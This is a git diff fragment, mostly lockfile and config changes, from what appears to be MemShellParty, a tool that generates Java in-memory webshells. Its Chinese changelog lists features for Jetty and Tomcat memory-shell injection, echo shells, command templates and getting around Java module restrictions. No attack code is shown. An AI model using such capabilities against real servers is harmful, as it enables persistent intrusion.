"^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-tI2l/nFHC5rLh7+5+o7QjKjSR04ivXDF4jcgV0f/bTQ+OJiITy5S6gaynVsEM+7RqzufMnVbIon6Sr5x1SDYaQ=="], + + "vite-node": ["vite-node@3.2.4", "", { "dependencies": { "cac": "^6.7.14", "debug": "^4.4.1", "es-module-lexer": "^1.7.0", "pathe": "^2.0.3", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" }, "bin": { "vite-node": "vite-node.mjs" } }, "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg=="], + + "vite-plugin-devtools-json": ["vite-plugin-devtools-json@1.0.0", "", { "dependencies": { "uuid": "^11.1.0" }, "peerDependencies": { "vite": "^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-MobvwqX76Vqt/O4AbnNMNWoXWGrKUqZbphCUle/J2KXH82yKQiunOeKnz/nqEPosPsoWWPP9FtNuPBSYpiiwkw=="], + + "vite-tsconfig-paths": ["vite-tsconfig-paths@5.1.4", "", { "dependencies": { "debug": "^4.1.1", "globrex": "^0.1.2", "tsconfck": "^3.0.3" }, "peerDependencies": { "vite": "*" }, "optionalPeers": ["vite"] }, "sha512-cYj0LRuLV2c2sMqhqhGpaO3LretdtMn/BVX4cPLanIZuwwrkVl+lK84E/miEXkCHWXuq65rhNN4rXsBcOB3S4w=="], + + "void-elements": ["void-elements@3.1.0", "", {}, "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w=="], + + "warning": ["warning@3.0.0", "", { "dependencies": { "loose-envify": "^1.0.0" } }, "sha512-jMBt6pUrKn5I+OGgtQ4YZLdhIeJmObddh6CsibPxyQ5yPZm1XExSyzC1LCNX7BzhxWgiHmizBWJTHJIjMjTQYQ=="], + + "which": ["which@2.0.2", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "./bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="], + + "widest-line": ["widest-line@4.0.1", "", { "dependencies": { "string-width": "^5.0.1" } }, "sha512-o0cyEG0e8GPzT4iGHphIOh0cJOV8fivsXxddQasHPHfoZf1ZexrfeA21w2NaEN1RHE+fXlfISmOE8R9N3u3Qig=="], + + "wrap-ansi": ["wrap-ansi@8.1.0", "", { "dependencies": { "ansi-styles": "^6.1.0", "string-width": "^5.0.1", "strip-ansi": "^7.0.1" } }, "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ=="], + + "ws": ["ws@8.18.3", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg=="], + + "yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="], + + "yaml": ["yaml@1.10.2", "", {}, "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="], + + "yup": ["yup@1.7.1", "", { "dependencies": { "property-expr": "^2.0.5", "tiny-case": "^1.0.3", "toposort": "^2.0.2", "type-fest": "^2.19.0" } }, "sha512-GKHFX2nXul2/4Dtfxhozv701jLQHdf6J34YDh2cEkpqoo8le5Mg6/LrdseVLrFarmFygZTlfIhHx/QKfb/QWXw=="], + + "zod": ["zod@4.1.13", "", {}, "sha512-AvvthqfqrAhNH9dnfmrfKzX5upOdjUVJYFqNSlkmGf64gRaTzlPwz99IHYnVs28qYAybvAlBV+H7pn0saFY4Ig=="], + + "zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="], + + "@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + + "@babel/helper-compilation-targets/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + + "@babel/helper-create-class-features-plugin/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + + "@radix-ui/react-alert-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], + + "@radix-ui/react-collection/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], + + "@radix-ui/react-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], + + "@radix-ui/react-menu/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], + + "@radix-ui/react-popover/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], + + "@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], + + "@radix-ui/react-select/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], + + "@radix-ui/react-tooltip/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], + + "@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.7.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.1.0", "tslib": "^2.4.0" }, "bundled": true }, "sha512-o1uhUASyo921r2XtHYOHy7gdkGLge8ghBEQHMWmyJFoXlpU58kIrhhN3w26lpQb6dspetweapMn2CSNwQ8I4wg=="], + + "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.7.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-PVtJr5CmLwYAU9PZDMITZoR5iAOShYREoR45EyyLrbntV50mdePTgUn4AmOw90Ifcj+x2kRjdzr1HP3RrNiHGA=="], + + "@tailwindcss/oxide-wasm32-wasi/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.1.0", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ=="], + + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@1.1.0", "", { "dependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1", "@tybys/wasm-util": "^0.10.1" }, "bundled": true }, "sha512-Fq6DJW+Bb5jaWE69/qOE0D1TUN9+6uWhCeZpdnSBk14pjLcCWR7Q8n49PTSPHazM37JqrsdpEthXy2xn6jWWiA=="], + + "@tailwindcss/oxide-wasm32-wasi/@tybys/wasm-util": ["@tybys/wasm-util@0.10.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="], + + "@tailwindcss/oxide-wasm32-wasi/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + + "ansi-align/string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], + + "boxen/chalk": ["chalk@5.4.1", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="], + + "chalk-template/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], + + "compression/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], + + "compression/negotiator": ["negotiator@0.6.4", "", {}, "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w=="], + + "fumadocs-mdx/chokidar": ["chokidar@5.0.0", "", { "dependencies": { "readdirp": "^5.0.0" } }, "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw=="], + + "fumadocs-mdx/esbuild": ["esbuild@0.27.1", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.27.1", "@esbuild/android-arm": "0.27.1", "@esbuild/android-arm64": "0.27.1", "@esbuild/android-x64": "0.27.1", "@esbuild/darwin-arm64": "0.27.1", "@esbuild/darwin-x64": "0.27.1", "@esbuild/freebsd-arm64": "0.27.1", "@esbuild/freebsd-x64": "0.27.1", "@esbuild/linux-arm": "0.27.1", "@esbuild/linux-arm64": "0.27.1", "@esbuild/linux-ia32": "0.27.1", "@esbuild/linux-loong64": "0.27.1", "@esbuild/linux-mips64el": "0.27.1", "@esbuild/linux-ppc64": "0.27.1", "@esbuild/linux-riscv64": "0.27.1", "@esbuild/linux-s390x": "0.27.1", "@esbuild/linux-x64": "0.27.1", "@esbuild/netbsd-arm64": "0.27.1", "@esbuild/netbsd-x64": "0.27.1", "@esbuild/openbsd-arm64": "0.27.1", "@esbuild/openbsd-x64": "0.27.1", "@esbuild/openharmony-arm64": "0.27.1", "@esbuild/sunos-x64": "0.27.1", "@esbuild/win32-arm64": "0.27.1", "@esbuild/win32-ia32": "0.27.1", "@esbuild/win32-x64": "0.27.1" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-yY35KZckJJuVVPXpvjgxiCuVEJT67F6zDeVTv4rizyPrfGBUpZQsvmxnN+C371c2esD/hNMjj4tpBhuueLN7aA=="], + + "mime-types/mime-db": ["mime-db@1.33.0", "", {}, "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ=="], + + "parse-entities/@types/unist": ["@types/unist@2.0.11", "", {}, "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="], + + "path-scurry/lru-cache": ["lru-cache@11.2.4", "", {}, "sha512-B5Y16Jr9LB9dHVkh6ZevG+vAbOsNOYCX+sXvFWFu7B3Iz5mijW3zdbMyhsh8ANd2mSWBYdJgnqi+mL7/LrOPYg=="], + + "pkg-types/pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], + + "radix-ui/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], + + "react-d3-tree/uuid": ["uuid@8.3.2", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="], + + "serve/chalk": ["chalk@5.0.1", "", {}, "sha512-Fo07WOYGqMfCWHOzSXOt2CxDbC6skS/jO9ynEcmpANMoPrD+W1r1K6Vx7iNm+AQmETU1Xr2t+n8nzkV9t6xh3w=="], + + "serve-handler/bytes": ["bytes@3.0.0", "", {}, "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw=="], + + "serve-handler/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="], + + "serve-handler/path-to-regexp": ["path-to-regexp@3.3.0", "", {}, "sha512-qyCH421YQPS2WFDxDjftfc1ZR5WKQzVzqsp4n9M2kQhVOo/ByahFoUNJfl58kOcEGfQ//7weFTDhm+ss8Ecxgw=="], + + "vite-node/pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], + + "ansi-align/string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + + "ansi-align/string-width/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "chalk-template/chalk/ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="], + + "compression/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], + + "fumadocs-mdx/chokidar/readdirp": ["readdirp@5.0.0", "", {}, "sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ=="], + + "fumadocs-mdx/esbuild/@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.27.1", "", { "os": "aix", "cpu": "ppc64" }, "sha512-HHB50pdsBX6k47S4u5g/CaLjqS3qwaOVE5ILsq64jyzgMhLuCuZ8rGzM9yhsAjfjkbgUPMzZEPa7DAp7yz6vuA=="], + + "fumadocs-mdx/esbuild/@esbuild/android-arm": ["@esbuild/android-arm@0.27.1", "", { "os": "android", "cpu": "arm" }, "sha512-kFqa6/UcaTbGm/NncN9kzVOODjhZW8e+FRdSeypWe6j33gzclHtwlANs26JrupOntlcWmB0u8+8HZo8s7thHvg=="], + + "fumadocs-mdx/esbuild/@esbuild/android-arm64": ["@esbuild/android-arm64@0.27.1", "", { "os": "android", "cpu": "arm64" }, "sha512-45fuKmAJpxnQWixOGCrS+ro4Uvb4Re9+UTieUY2f8AEc+t7d4AaZ6eUJ3Hva7dtrxAAWHtlEFsXFMAgNnGU9uQ=="], + + "fumadocs-mdx/esbuild/@esbuild/android-x64": ["@esbuild/android-x64@0.27.1", "", { "os": "android", "cpu": "x64" }, "sha512-LBEpOz0BsgMEeHgenf5aqmn/lLNTFXVfoWMUox8CtWWYK9X4jmQzWjoGoNb8lmAYml/tQ/Ysvm8q7szu7BoxRQ=="], + + "fumadocs-mdx/esbuild/@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.27.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-veg7fL8eMSCVKL7IW4pxb54QERtedFDfY/ASrumK/SbFsXnRazxY4YykN/THYqFnFwJ0aVjiUrVG2PwcdAEqQQ=="], + + "fumadocs-mdx/esbuild/@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.27.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-+3ELd+nTzhfWb07Vol7EZ+5PTbJ/u74nC6iv4/lwIU99Ip5uuY6QoIf0Hn4m2HoV0qcnRivN3KSqc+FyCHjoVQ=="], + + "fumadocs-mdx/esbuild/@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.27.1", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-/8Rfgns4XD9XOSXlzUDepG8PX+AVWHliYlUkFI3K3GB6tqbdjYqdhcb4BKRd7C0BhZSoaCxhv8kTcBrcZWP+xg=="], + + "fumadocs-mdx/esbuild/@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.27.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-GITpD8dK9C+r+5yRT/UKVT36h/DQLOHdwGVwwoHidlnA168oD3uxA878XloXebK4Ul3gDBBIvEdL7go9gCUFzQ=="], + + "fumadocs-mdx/esbuild/@esbuild/linux-arm": ["@esbuild/linux-arm@0.27.1", "", { "os": "linux", "cpu": "arm" }, "sha512-ieMID0JRZY/ZeCrsFQ3Y3NlHNCqIhTprJfDgSB3/lv5jJZ8FX3hqPyXWhe+gvS5ARMBJ242PM+VNz/ctNj//eA=="], + + "fumadocs-mdx/esbuild/@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.27.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-W9//kCrh/6in9rWIBdKaMtuTTzNj6jSeG/haWBADqLLa9P8O5YSRDzgD5y9QBok4AYlzS6ARHifAb75V6G670Q=="], + + "fumadocs-mdx/esbuild/@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.27.1", "", { "os": "linux", "cpu": "ia32" }, "sha512-VIUV4z8GD8rtSVMfAj1aXFahsi/+tcoXXNYmXgzISL+KB381vbSTNdeZHHHIYqFyXcoEhu9n5cT+05tRv13rlw=="], + + "fumadocs-mdx/esbuild/@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.27.1", "", { "os": "linux", "cpu": "none" }, "sha512-l4rfiiJRN7sTNI//ff65zJ9z8U+k6zcCg0LALU5iEWzY+a1mVZ8iWC1k5EsNKThZ7XCQ6YWtsZ8EWYm7r1UEsg=="], + + "fumadocs-mdx/esbuild/@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.27.1", "", { "os": "linux", "cpu": "none" }, "sha512-U0bEuAOLvO/DWFdygTHWY8C067FXz+UbzKgxYhXC0fDieFa0kDIra1FAhsAARRJbvEyso8aAqvPdNxzWuStBnA=="], + + "fumadocs-mdx/esbuild/@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.27.1", "", { "os": "linux", "cpu": "ppc64" }, "sha512-NzdQ/Xwu6vPSf/GkdmRNsOfIeSGnh7muundsWItmBsVpMoNPVpM61qNzAVY3pZ1glzzAxLR40UyYM23eaDDbYQ=="], + + "fumadocs-mdx/esbuild/@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.27.1", "", { "os": "linux", "cpu": "none" }, "sha512-7zlw8p3IApcsN7mFw0O1Z1PyEk6PlKMu18roImfl3iQHTnr/yAfYv6s4hXPidbDoI2Q0pW+5xeoM4eTCC0UdrQ=="], + + "fumadocs-mdx/esbuild/@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.27.1", "", { "os": "linux", "cpu": "s390x" }, "sha512-cGj5wli+G+nkVQdZo3+7FDKC25Uh4ZVwOAK6A06Hsvgr8WqBBuOy/1s+PUEd/6Je+vjfm6stX0kmib5b/O2Ykw=="], + + "fumadocs-mdx/esbuild/@esbuild/linux-x64": ["@esbuild/linux-x64@0.27.1", "", { "os": "linux", "cpu": "x64" }, "sha512-z3H/HYI9MM0HTv3hQZ81f+AKb+yEoCRlUby1F80vbQ5XdzEMyY/9iNlAmhqiBKw4MJXwfgsh7ERGEOhrM1niMA=="], + + "fumadocs-mdx/esbuild/@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.27.1", "", { "os": "none", "cpu": "arm64" }, "sha512-wzC24DxAvk8Em01YmVXyjl96Mr+ecTPyOuADAvjGg+fyBpGmxmcr2E5ttf7Im8D0sXZihpxzO1isus8MdjMCXQ=="], + + "fumadocs-mdx/esbuild/@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.27.1", "", { "os": "none", "cpu": "x64" }, "sha512-1YQ8ybGi2yIXswu6eNzJsrYIGFpnlzEWRl6iR5gMgmsrR0FcNoV1m9k9sc3PuP5rUBLshOZylc9nqSgymI+TYg=="], + + "fumadocs-mdx/esbuild/@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.27.1", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-5Z+DzLCrq5wmU7RDaMDe2DVXMRm2tTDvX2KU14JJVBN2CT/qov7XVix85QoJqHltpvAOZUAc3ndU56HSMWrv8g=="], + + "fumadocs-mdx/esbuild/@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.27.1", "", { "os": "openbsd", "cpu": "x64" }, "sha512-Q73ENzIdPF5jap4wqLtsfh8YbYSZ8Q0wnxplOlZUOyZy7B4ZKW8DXGWgTCZmF8VWD7Tciwv5F4NsRf6vYlZtqg=="], + + "fumadocs-mdx/esbuild/@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.27.1", "", { "os": "none", "cpu": "arm64" }, "sha512-ajbHrGM/XiK+sXM0JzEbJAen+0E+JMQZ2l4RR4VFwvV9JEERx+oxtgkpoKv1SevhjavK2z2ReHk32pjzktWbGg=="], + + "fumadocs-mdx/esbuild/@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.27.1", "", { "os": "sunos", "cpu": "x64" }, "sha512-IPUW+y4VIjuDVn+OMzHc5FV4GubIwPnsz6ubkvN8cuhEqH81NovB53IUlrlBkPMEPxvNnf79MGBoz8rZ2iW8HA=="], + + "fumadocs-mdx/esbuild/@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.27.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-RIVRWiljWA6CdVu8zkWcRmGP7iRRIIwvhDKem8UMBjPql2TXM5PkDVvvrzMtj1V+WFPB4K7zkIGM7VzRtFkjdg=="], + + "fumadocs-mdx/esbuild/@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.27.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-2BR5M8CPbptC1AK5JbJT1fWrHLvejwZidKx3UMSF0ecHMa+smhi16drIrCEggkgviBwLYd5nwrFLSl5Kho96RQ=="], + + "fumadocs-mdx/esbuild/@esbuild/win32-x64": ["@esbuild/win32-x64@0.27.1", "", { "os": "win32", "cpu": "x64" }, "sha512-d5X6RMYv6taIymSk8JBP+nxv8DQAMY6A51GPgusqLdK9wBz5wWIXy1KjTck6HnjE9hqJzJRdk+1p/t5soSbCtw=="], + + "ansi-align/string-width/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + } +} diff --git a/web/bun.lockb b/web/bun.lockb deleted file mode 100755 index 9a4a96a3..00000000 Binary files a/web/bun.lockb and /dev/null differ diff --git a/web/components.json b/web/components.json index 4024f4d7..a080d936 100644 --- a/web/components.json +++ b/web/components.json @@ -5,8 +5,8 @@ "tsx": true, "tailwind": { "config": "", - "css": "src/index.css", - "baseColor": "zinc", + "css": "app/app.css", + "baseColor": "neutral", "cssVariables": true }, "aliases": { diff --git a/CHANGELOG.md b/web/content/docs/changelog.mdx similarity index 91% rename from CHANGELOG.md rename to web/content/docs/changelog.mdx index 52c20887..e396550e 100644 --- a/CHANGELOG.md +++ b/web/content/docs/changelog.mdx @@ -1,10 +1,34 @@ -# Changelog +--- +title: 更新日志 +icon: ScrollText +--- All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.3.0) - 开发中 + +### Added + +1. 支持 Jetty Handler 与 Customizer 内存马生成(By @ReaJason) +2. 支持 Jetty ee8~ee11 的回显马(无法从 post urlencoded 中获取 parameter,请从 url queryParam 或 header 传入参数) +3. **内存马生成支持回显模式对接回显马** +4. 支持 Tomcat Upgrade 内存马注入(仅 Tomcat8+ 可用) +5. 支持添加 lambda 类名后缀开关([#97](https://github.com/ReaJason/MemShellParty/issues/97)) +6. 命令执行内存马与回显马支持自定义命令模板([#115](https://github.com/ReaJason/MemShellParty/issues/115) Thanks [@ViCrack](https://github.com/ViCrack)) +7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker 方便生成 metabase 